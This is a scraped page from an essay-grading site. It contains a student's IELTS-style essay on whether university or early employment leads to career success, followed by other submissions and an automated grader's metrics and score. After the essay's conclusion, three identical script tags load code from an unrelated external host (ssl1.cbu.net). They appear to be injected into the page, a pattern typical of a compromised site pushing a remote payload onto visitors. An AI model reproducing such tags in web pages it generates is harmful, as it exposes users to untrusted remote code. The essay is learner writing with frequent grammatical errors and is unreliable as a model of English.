Some people believe that studying at university or college is the best route to a successful career, while others believe that it is better to get a job straight after school. Discuss both views and give your opinion.
In today’s world, university has become an important part of young people, thereby they believe that is the best way to go to successful jobs. However, others think that it is better to get a job after high school.
Admittedly, there are some arguments in favour of young people thinking that a university degree is the best way to secure a good job. First, government subsidies for higher education are believed to equalize working opportunities among young adolescents. This college support, presumably, tends not only to increase the overall better jobs for students but also to mitigate their feeling of inferiority when finding a job, which promotes an egalitarian society. For example, in VietNam, almost all young people choose to go to university because they think that their skills and certification help them to have a higher salary. Moreover, many big companies always prioritize people completing their course at university. Second, people think that they can have a successful job when they study at university.This is a truth because it would result in a higher supply of highly qualified workers, which benefits society in the long run. In fact, it is acknowledged that skilled and knowledgeable human capital is imperative to foster economic growth and technological development in any nation.
On the other hand, other people think that just a monitor helps them to get a job after graduation. From one standpoint, university could help them to gain more knowledge and learn some skills they need to prepare for the workplace. Second, people think that it is just better to be straight when they complete their study because if they want to have a good job it depends on their talent and hard-work. It’s not over-reliant on the university. For instance, Japanese or Chinese students always do some part-time jobs in their leisure time to get more experience and they think that's the best way that they can prepare for their future career. It, instead, would be a more viable option if the resources were focused on supporting less privileged yet gifted people.
In conclusion, despite the long-term benefits of university. Meanwhile, students should focus more on developing themselves to get a better job. From my perspective, university is important but not the priority to secure jobs so people should learn more skills and experiences.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-06-28 | Trần Ánh Vy | 73 | view |
| 2025-05-30 | Giang Tran | 84 | view |
| 2024-11-19 | taoxanh99 | 73 | view |
| 2024-03-27 | zanzendegi | 73 | view |
| 2023-10-05 | Celina Pei | 80 | view |
- The graphs below show the total percentage of films released and the total percentage of ticket sales in 1996 and 2006 in a country Summarize the information by selecting and reporting the main features and make comparisons where relevant 67
- Many people argue that in order to improve educational quality high school students should be encouraged to make comments or even criticism of their teachers Others think it will lead to loss of respect and discipline in the classroom Discuss both views a 73
- The use of social media is replacing face to face interaction among many people in society Do you think it is advantages outweigh disadvantages 89
- The maps show the changes of an office building between the present and future Summaries the information by selecting and reporting the main features and make comparisons where relevant 67
- The graph show the price of bananas in 4 different countries from 1996 to 2004 67
Transition Words or Phrases used:
also, but, first, however, if, moreover, second, so, while, for example, for instance, in conclusion, in fact, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 13.0 13.1623246493 99% => OK
Auxiliary verbs: 8.0 7.85571142285 102% => OK
Conjunction : 11.0 10.4138276553 106% => OK
Relative clauses : 14.0 7.30460921844 192% => OK
Pronoun: 38.0 24.0651302605 158% => Less pronouns wanted
Preposition: 47.0 41.998997996 112% => OK
Nominalization: 7.0 8.3376753507 84% => OK
Performance on vocabulary words:
No of characters: 1982.0 1615.20841683 123% => OK
No of words: 385.0 315.596192385 122% => OK
Chars per words: 5.14805194805 5.12529762239 100% => OK
Fourth root words length: 4.4296068528 4.20363070211 105% => OK
Word Length SD: 2.8461701934 2.80592935109 101% => OK
Unique words: 201.0 176.041082164 114% => OK
Unique words percentage: 0.522077922078 0.561755894193 93% => More unique words wanted or less content wanted.
syllable_count: 618.3 506.74238477 122% => OK
avg_syllables_per_word: 1.6 1.60771543086 100% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 5.43587174349 74% => OK
Article: 0.0 2.52805611222 0% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 8.0 4.76152304609 168% => OK
Performance on sentences:
How many sentences: 18.0 16.0721442886 112% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 48.437212763 49.4020404114 98% => OK
Chars per sentence: 110.111111111 106.682146367 103% => OK
Words per sentence: 21.3888888889 20.7667163134 103% => OK
Discourse Markers: 7.11111111111 7.06120827912 101% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 0.0 5.01903807615 0% => OK
Sentences with positive sentiment : 15.0 8.67935871743 173% => OK
Sentences with negative sentiment : 1.0 3.9879759519 25% => More negative sentences wanted.
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.245600817459 0.244688304435 100% => OK
Sentence topic coherence: 0.0808974929754 0.084324248473 96% => OK
Sentence topic coherence SD: 0.0647592404494 0.0667982634062 97% => OK
Paragraph topic coherence: 0.170619340474 0.151304729494 113% => OK
Paragraph topic coherence SD: 0.056879174999 0.056905535591 100% => OK
Essay readability:
automated_readability_index: 13.5 13.0946893788 103% => OK
flesch_reading_ease: 50.16 50.2224549098 100% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 11.5 11.3001002004 102% => OK
coleman_liau_index: 12.59 12.4159519038 101% => OK
dale_chall_readability_score: 8.66 8.58950901804 101% => OK
difficult_words: 97.0 78.4519038076 124% => OK
linsear_write_formula: 11.5 9.78957915832 117% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 12.0 10.7795591182 111% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.